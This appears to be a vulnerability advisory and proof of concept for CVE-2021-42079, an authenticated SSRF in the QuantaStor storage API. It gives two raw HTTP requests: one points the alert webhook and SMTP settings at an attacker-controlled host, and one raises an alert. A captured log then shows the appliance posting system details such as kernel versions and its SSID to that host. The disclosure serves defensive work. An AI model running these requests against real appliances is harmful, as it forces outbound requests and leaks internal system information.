CVE-2021-42079

An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.

POC

Step 1: Prepare the SSRF with a request like this:

GET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET> HTTP/1.1

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: */* Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 0

Step 2: Trigger this alert with this request

GET /qstorapi/alertRaise?title=test&message=test&severity=1 HTTP/1.1

Host: <HOSTNAME> Accept-Encoding: gzip, deflate

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36

Connection: close

authorization: Basic <BASIC_AUTH_HASH> Content-Type: application/json

Content-Length: 1

The post request received by <TARGET> looks like this: {

### Python FLASK stuff ####

'endpoint': 'index',

'method': 'POST',

'cookies': ImmutableMultiDict([]),

### END Python FLASK stuff ####

'data': b'{   "attachments": [    {

"fallback": "[122] test / test.",

"color": "#aa2222",

"title": "[122] test",

"text": "test",

"fields": [        {

"title": "Alert Severity",

"value": "CRITICAL",

"short": false        },  {         "title": "Appliance",           "value": "quantastor (https://<HOSTNAME>)",

"short": true

},  {

"title": "System / Driver / Kernel Ver",

"value": "5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic",

"short": false

},  {

"title": "System Startup",

"value": "Fri Aug  6 16-02-55 2021",

"short": true

},  {

"title": "SSID",

"value": "f4823762-1dd1-1333-47a0-6238c474a7e7",

"short": true

},     ],

"footer": "QuantaStor Call-home Alert",

"footer_icon": " https://platform.slack-edge.com/img/default_application_icon.png ",

"ts": 1628461774    }   ],   "mrkdwn":true  }',  #### FLASK REQUEST STUFF #####

'headers': {

'Host': '<redacted>',   'User-Agent': 'curl/7.58.0',   'Accept': '*/*',   'Content-Type': 'application/json',   'Content-Length': '790'

},  'args': ImmutableMultiDict([]),  'form': ImmutableMultiDict([]),  'remote_addr': '217.103.63.173',  'path': '/payload/58',  'whois_ip': 'TNF-AS, NL' }

#### END FLASK REQUEST STUFF #####